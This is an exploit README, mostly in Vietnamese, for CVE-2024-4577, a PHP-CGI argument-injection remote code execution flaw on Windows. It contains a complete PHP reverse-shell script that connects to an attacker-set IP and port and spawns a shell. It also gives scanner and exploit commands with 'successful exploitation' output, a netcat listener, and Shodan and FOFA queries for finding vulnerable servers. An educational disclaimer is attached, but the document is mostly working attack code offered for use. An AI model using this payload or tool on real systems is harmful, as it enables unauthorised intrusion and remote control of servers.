## https://sploitus.com/exploit?id=D3F94EDE-AFE1-5272-89CE-93289BA9578E
<h1 align="center">
PHP CVE-2024-4577-RCE-ATTACK-ATTACK
</h2>
<p align="center">
<a href="https://medium.com/@bibo318">
<img src="https://img.shields.io/badge/Medium-12100E?style=for-the-badge&logo=medium&logoColor=white" alt="Medium">
</a>
<a href="https://www.python.org/">
<img src="https://img.shields.io/badge/python-3670A0?style=for-the-badge&logo=python&logoColor=ffdd54" alt="Python">
</a>
<a href="https://www.kali.org/">
<img src="https://img.shields.io/badge/Kali-268BEE?style=for-the-badge&logo=kalilinux&logoColor=white" alt="Kali">
</a>
</p>
## 📜 Description
Trong các phiên bản PHP 8.1.*trước 8.1.29, 8.2.*trước 8.2.20, 8.3.*trước 8.3.8, khi sử dụng Apache và PHP-CGI trên Windows, nếu hệ thống được thiết lập để sử dụng một số trang mã nhất định, Windows có thể sử dụng hành vi " Phù hợp nhất " để thay thế các ký tự trong dòng lệnh được cung cấp cho các hàm API Win32. Mô-đun PHP CGI có thể hiểu sai các ký tự đó thành các tùy chọn PHP, điều này có thể cho phép người dùng độc hại chuyển các tùy chọn sang tệp nhị phân PHP đang chạy và do đó tiết lộ mã nguồn của tập lệnh, chạy mã PHP tùy ý trên máy chủ, v.v.
"XAMPP dễ bị tổn thương trong cấu hình mặc định và chúng tôi có thể nhắm mục tiêu điểm cuối /php-cgi/php-cgi.exe. Để nhắm mục tiêu
một điểm cuối .php rõ ràng (ví dụ: /index.php), máy chủ phải được cấu hình để chạy các tập lệnh PHP ở chế độ CGI."
## 📚 Table of Contents
- 📜 [Description](#-description)
- 🛠️ [Installation](#-installation)
- ⚙️ [Usage](#-usage)
- 💁 [References](#-references)
## 🛠️ Installation
```bash
$ git clone https://github.com/bibo318/CVE-2024-4577-RCE-ATTACK.git
$ cd CVE-2024-4577-RCE-ATTACK && pip install -r requirements.txt
```
## ⚙️ Usage
![php-cge](/Screenshot.png)
## 🤖 Thiết lập shell đảo ngược
### PHP Payload
> [!NOTE]
> Công cụ này thể hiện các kỹ thuật và tấn công thực tế (TTP). Tuy nhiên mẫu tải trọng cụ thể này không hoạt động trong trường hợp này. Sửa đổi shell.php để có được tải trọng đầy đủ chức năng.
```php
# rev_shell.php
<?php
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = 'xxxxxxxxxxx'; // CHANGE THIS
$port = 9999; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
## 🖥️ Scanning server
```bash
$ python3 CVE-2024-4577.py -s -t https://target.com/
,------. ,--. ,--.,------. ,-----.,--. ,--.,------. ,---. ,--. ,---. ,---. ,---.,-----.,-----.,-----. ,------. ,-----.,------.
| .--. '| '--' || .--. ' ' .--./ \ `.' / | .---',-----.'.-. \ / '.-. \ / |,-----. / || .--''--, /'--, / | .--. '' .--./| .---'
| '--' || .--. || '--' | | | \ / | `--, '-----' .-' .'| () |.-' .'/ ' |'-----'/ ' |'--. `\ .' / .' / | '--'.'| | | `--,
| | --' | | | || | --' ' '--'\ \ / | `---. / '-. \ // '-.'--| | '--| |.--' // / / / | |\ \ ' '--'\| `---.
`--' `--' `--'`--' `-----' `-' `------' '-----' `--' '-----' `--' `--'`----' `--' `--' `--' '--' `-----'`------'
Author: Demongod | CVE-2024-4577 | PoC and Scanner |
[+] Target https://xxxx.com dễ bị tấn công bởi CVE-2024-4577
```
## 🎯 Khai thác máy chủ dễ bị tổn thương
```bash
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
,------. ,--. ,--.,------. ,-----.,--. ,--.,------. ,---. ,--. ,---. ,---. ,---.,-----.,-----.,-----. ,------. ,-----.,------.
| .--. '| '--' || .--. ' ' .--./ \ `.' / | .---',-----.'.-. \ / '.-. \ / |,-----. / || .--''--, /'--, / | .--. '' .--./| .---'
| '--' || .--. || '--' | | | \ / | `--, '-----' .-' .'| () |.-' .'/ ' |'-----'/ ' |'--. `\ .' / .' / | '--'.'| | | `--,
| | --' | | | || | --' ' '--'\ \ / | `---. / '-. \ // '-.'--| | '--| |.--' // / / / | |\ \ ' '--'\| `---.
`--' `--' `--'`--' `-----' `-' `------' '-----' `--' '-----' `--' `--'`----' `--' `--' `--' '--' `-----'`------'
Author: Demongod | CVE-2024-4577 | PoC and Scanner |
[+] Khai thác thành công!
```
## 👨🏻💻 Netcat Listener
```bash
$ nc -lvnp 9999
```
## 🔍 Phát hiện máy chủ dễ bị tấn công
- **Shodan**: `server: PHP 8.1`, `server: PHP 8.2`, `server: PHP 8.3`
- **FOFA**: `protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"`
## 💁 Giới thiệu
- https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
- https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml
- http://www.openwall.com/lists/oss-security/2024/06/07/1
- https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
- https://www.php.net/ChangeLog-8.php#8.1.29
- https://www.php.net/ChangeLog-8.php#8.2.20
- https://www.php.net/ChangeLog-8.php#8.3.8
## ⚠️ Tuyên bố miễn trừ trách nhiệm
Công cụ này chỉ được cung cấp cho mục đích giáo dục và nghiên cứu. Người sáng tạo không chịu trách nhiệm về bất kỳ việc sử dụng sai hoặc thiệt hại nào do công cụ này gây ra. [Tạo vấn đề](https://github.com/bibo318/CVE-2024-4577-RCE-ATTACK/issues)